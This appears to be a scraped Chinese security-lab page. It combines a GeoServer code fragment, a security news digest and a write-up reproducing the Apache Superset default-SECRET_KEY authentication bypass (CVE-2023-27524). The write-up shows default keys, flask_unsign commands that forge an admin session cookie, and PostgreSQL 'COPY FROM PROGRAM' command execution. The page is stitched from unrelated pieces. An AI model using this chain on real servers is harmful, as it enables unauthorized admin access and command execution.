if (escapeBackslash) {
// \ --> \\
escaped = BACKSLASH_PATTERN.matcher(escaped).replaceAll("\\\\\\\\");
}
if (escapeDoubleQuote) {
// " --> \"
escaped = DOUBLE_QUOTE_PATTERN.matcher(escaped).replaceAll("\\\\\"");
}
return escaped;
至于为什么会聊到CVE-2023-25158,这里就要聊到Geoserver和Geotools的关系了,可以参考这篇文章
https://blog.csdn.net/nmj2008/article/details/113869086修复方案
升级安全版本,目前已经有最新版本。
网络安全日报 2023年06月21日
1、黑客使用假的OnlyFans图片来植入窃取信息的恶意软件
https://www.esentire.com/blog/onlydcratfans-malware-distributed-using-explicit-lures-of-onlyfans-pages-and-other-adult-content 恶意软件活动使用虚假的OnlyFans内容和成人诱饵来安装称为“DcRAT”的远程访问木马,允许威胁行为者窃取数据和凭据或在受感染的设备上部署勒索软件。OnlyFans是一项内容订阅服务,付费订阅者可以访问成人模特、名人和社交媒体名人的私人照片、视频和帖子。它是一个广泛使用的网站和一个知名度很高的名称,因此它可以吸引那些希望免费访问付费内容的
2、DoNot黑客组织在Google Play商店部署恶意Android应用程序
https://www.cyfirma.com/outofband/donot-apt-elevates-its-tactics-by-deploying-malicious-android-apps-on-google-play-store/ 国家支持的威胁行为者使用Google Play上的三个Android应用程序从目标设备收集情报,例如位置数据和联系人列表。这些恶意Android应用程序是由Cyfirma发现的 ,他以中等可信度将此操作归因于印度黑客组织“DoNot”,该组织也被追踪为APT-C-35,该组织至少从2018年开始就以东南亚的知名组织为目标。Cyfirma 在Googl
3、攻击者利用MOVEit漏洞窃取数百万俄勒冈州和路易斯安那州的驾照信息
https://www.oregon.gov/odot/DMV/Pages/Data_Breach.aspx 路易斯安那州和俄勒冈州警告说,在一个勒索软件团伙入侵他们的MOVEit Transfer安全文件传输系统以窃取存储数据后,数百万驾照在数据泄露中暴露。这些 攻击是由Clop勒索软件行动进行的,该行动于5月27日开始 在全球范围内攻击MOVEit Transfer服务器, 使用一个以前未知的零日漏洞,追踪为CVE-2023-34362。这些攻击已导致全球范围内广泛披露数据泄露事件,影响了公司、联邦政府机构和地方政府机构。根据路易斯安那州机动车办公室和俄勒冈州司机与机动车服务局的新闻稿,
4、攻击者针对DoorDash司机进行网络钓鱼活动骗取了95万美元
https://www.malwarebytes.com/blog/news/2023/06/phishing-scam-takes-950k-from-doordash-drivers DoorDash司机是承包商,他们从商店和餐馆取货并将产品交付给客户。一名来自康涅狄格州的21岁男子大卫·史密斯(David Smith)据称想出了一种从司机那里榨取大量现金的方法,该骗局可以追溯到2020年。盗窃将从下伪造的DoorDash订单开始,接收司机详细信息,然后通过声称是DoorDash支持的短信或电话联系所述司机。从这里,司机将被说服交出银行详细信息或登录到一个虚假的门户网站。最终结果将是资金
5、安装量数百万的Swing VPN 是 DDoS 僵尸网络
https://security.solidot.org/ 在苹果 App Store 和 Google PlayStore 作为免费 VPN 服务提供给用户的应用 Swing VPN 被认为会利用用户设备发动 DDOS 攻击。目前无论是苹果还是 Google 都未将 Swing VPN 下架,而仅仅 Google Play 其安装量逾 500 万次。
6、微软证实DDoS攻击导致Azure和Outlook中断
https://www.bleepingcomputer.com/news/microsoft/microsoft-confirms-azure-outlook-outages-caused-by-ddos-attacks/ 微软已经证实,最近Azure、Outlook和OneDrive门户网站的中断是由于针对该公司服务的第7层DDoS攻击造成的。
7、VMware 已确认 CVE-2023-20887 已被在野利用
https://www.securityweek.com/vmware-confirms-live-exploits-hitting-just-patched-security-flaw/ 这家虚拟化技术巨头周二更新了一份https://www.vmware.com/security/advisories/VMSA-2023-0012.html,向运行网络监控软件的企业发出直言不讳的警告:“VMware 已确认 CVE-2023-20887 的利用已在野外发生。”这些实时漏洞https://viz.greynoise.io/tag/vmware-aria-operations-for-net
8、新的“RDStealer”恶意软件以 RDP 连接为目标
https://www.securityweek.com/new-rdstealer-malware-targets-rdp-connections/ Bitdefender 发现新的恶意软件能够监控传入的 RDP 连接并感染启用了客户端驱动器映射的连接客户端。
9、知名网安公司Gen Digital称员工数据在 MOVEit 勒索软件攻击中被盗
https://www.securityweek.com/norton-parent-says-employee-data-stolen-in-moveit-ransomware-attack/ Gen Digital(纳斯达克股票代码:GEN)是 Avast、Avira、AVG、诺顿和 LifeLock 等知名网络安全品牌背后的公司,已确认员工的个人信息在最近的 MOVEit 勒索软件攻击中遭到泄露。该攻击利用了Progress Software 于 5 月 31 日披露的 MOVEit Transfer 管理文件传输 (MFT) 软件中的 零日漏洞。该漏洞的大规模利用被追踪为 CVE-2
10、Zyxel 针对 NAS 设备中的严重漏洞发布紧急安全更新
https://thehackernews.com/2023/06/zyxel-releases-urgent-security-updates.html Zyxel 已推出安全更新,以解决其网络附加存储 (NAS) 设备中的关键预身份验证命令注入漏洞,该漏洞可能导致在受影响的系统上执行任意命令。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Apache Superset 身份认证绕过漏洞(CVE-2023-27524)
漏洞简介
Apache Superset是一个开源的数据可视化和数据探测平台,它基于Python构建,使用了一些类似于Django和Flask的Python web框架。提供了一个用户友好的界面,可以轻松地创建和共享仪表板、查询和可视化数据,也可以集成到其他应用程序中。由于用户在默认安装过程中,未对SECRET_KEY的默认值进行更改,未经身份验证的攻击者通过伪造管理员身份进行访问后台,并通过后台原本数据库执行功能实现命令执行操作。
环境搭建
可以通过 fofa 来搜索相关网站
"Apache Superset"
这里我们通过 docker 来在本地搭建环境
git clone https://github.com/apache/superset.git
cd superset
git checkout 2.0.0
TAG=2.0.0 docker-compose -f docker-compose-non-dev.yml pull
TAG=2.0.0 docker-compose -f docker-compose-non-dev.yml up
官网提供的方法 并没有搭建成功,还是直接在docker 仓库中查找
https://hub.docker.com/r/apache/superset/tags?page=1&ordering=last_updated&name=2.0.0&& docker pull apache/superset:2.0.0
docker exec -it superset superset fab create-admin --username admin --firstname Superset --lastname Admin --email admin@superset.com --password admin
docker exec -it superset superset db upgrade
docker exec -it superset superset load_examples
docker exec -it superset superset init
漏洞复现
利用脚本检测是否存在漏洞并生成相对应的 cookie
访问主页抓取数据包
将生成的 session 替换原本的 session
成功登录
接下来就是想办法 getshell 网络上的文章上是通过后台数据库执行语句来获取权限。
经过复现分析,发现存在的问题还比较多,首先是默认情况下执行语句仅仅支持 SELECT ,需要修改数据库的权限允许其他的一些语句(but 一些版本上是没有对数据库的操作权限的),然后就是获取的权限,本质上也只是获取了数据库的执行权限,数据库有可能并不与 superset 在同一服务器上,再有就是需要数据库本身也需要存在漏洞才可以,我这里选取了 (CVE-2019-9193)PostgreSQL 高权限命令执行漏洞来复现漏洞。
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
漏洞分析
感觉这个漏洞有点像前段时间爆出来的 nacos 身份认证绕过漏洞 存在默认的密钥
SECRET_KEYS = [
b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h', # version < 1.4.1
b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET', # version >= 1.4.1
b'thisISaSECRET_1234', # deployment template
b'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY', # documentation
b'TEST_NON_DEV_SECRET' # docker compose
]
Superset 是用 Python 编写的,基于 Flask Web 框架。基于 Flask 的应用程序的常见做法是使用加密签名的会话 cookie 进行用户状态管理。当用户登录时,Web 应用程序将包含用户标识符的会话 cookie 发送回最终用户的浏览器。Web 应用程序使用 SECERT_KEY 对 cookie 进行签名,该值应该时随机生成的,通常存储在本地配置文件中,对于每个 Web 请求,浏览器都会将已签名的会话 cookie 发送回应用程序,然后应用程序验证 cookie 上的签名以处理请求之前重新验证用户。
整段描述下面我感觉跟 JWT 的相关验证方式差不太多,我们具体来操作看看。
首先就是请求的时候我们可以看到 cookie 值 可以解码成功,通过爆破(当然我们这里是已经已知这个 key 值),伪造生成用户的 cookie,替换数据包中的cookie 值,就成功登录成功,之后再次请求的时候,发现我们添加的字段已经被保存在 session 值中
>>> from flask_unsign import session
>>> session.decode("eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiOGUzOTdiZTQ2ZjVlZjJiYTc1NjI4MWQxODE2NTAyMWEzMzcxYjI3OCIsImxvY2FsZSI6ImVuIn0.ZJAEeQ.wVfrGzupbWdw4R1OlzUwUqhGMMY")
{'_fresh': False, 'csrf_token': '8e397be46f5ef2ba756281d18165021a3371b278', 'locale': 'en'}
>>> session.sign({'_user_id': 1, 'user_id': 1},'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET')
'eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZJAFNg.oWyP7v-1l0qOHFOMjSd-cFiVQLY'
>>> session.decode(".eJxFzEEOhCAQBMC_9JmDwMZBPkOUaaKRaALuabN_15sPqPohlca-Ipa5dhqkb2dLmyJag9xbSde580CEjoHiQlYOlt4VDVMe3CjTRxYv3i_qGEQsDOqZ58rHPNDgHf83roYh1w.ZJAFVw.IwmWyTU1bvoY2nhlFYdmwXNNtTM")
{'_fresh': False, '_user_id': 1, 'csrf_token': 'd68e728cde01e32fd89c0267947b3733bd2e8771', 'locale': 'en', 'user_id': 1}
漏洞修复
拒绝在非调试环境中使用默认密码启动
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

